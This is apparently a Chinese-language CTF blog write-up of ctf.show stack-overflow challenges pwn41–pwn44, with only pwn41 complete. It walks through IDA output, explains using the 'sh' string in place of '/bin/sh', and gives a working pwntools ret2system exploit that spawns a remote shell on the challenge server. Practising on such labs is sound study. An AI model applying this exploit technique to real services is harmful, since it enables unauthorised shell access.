目录
一、pwn41(32位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代)
二、pwn42(64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代)
三、pwn43(32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法)
四、pwn44(64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法)
前言
到128创作纪念日了,继续记录前几天做的栈溢出题目吧。
一、pwn41(32位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代)
先在ida里看一下,啧,有个buf:
-00000012 buf db ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
0x12+0x4
打开hint函数:
int hint()
{
const char *v0; // eax@1
v0 = (const char *)_x86_get_pc_thunk_ax();
system(&v0[(_DWORD)&aEchoFlag[-134520832] + 6819]);
return 0;
}
System 函数的地址:.plt:080483D0 _system proc near hint+1D_x0019_p
0x80483D0
看一看useful函数(一定很useful)
int useful()
{
const char *v0; // eax@1
v0 = (const char *)_x86_get_pc_thunk_ax();
return printf(&v0[(_DWORD)&aSh[-134520832] + 6772]);
}
隐隐约约有个sh,学习一下知识点:
/bin/sh 和 sh 的关系
/bin/sh:是系统中默认 Shell 解释器的绝对路径,通常是一个指向具体 Shell 的符号链接(如 dash、bash 等)。
sh:是一个 命令名称,通过环境变量 PATH 查找可执行文件。若 PATH 包含 /bin,则 sh 实际会调用 /bin/sh。
所以找到它的地址直接用就好。
0x80487BA
EXP:
from pwn import *
p=remote("pwn.challenge.ctf.show",28136)
payload=(0x12+0x4)*b'a'+p32(0x80483D0)+b'a'*0x4+p32(0x80487BA)
p.sendline(payload)
p.interactive()
二、pwn42(64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代)
巩固知识,所以先打开ida看一看吧。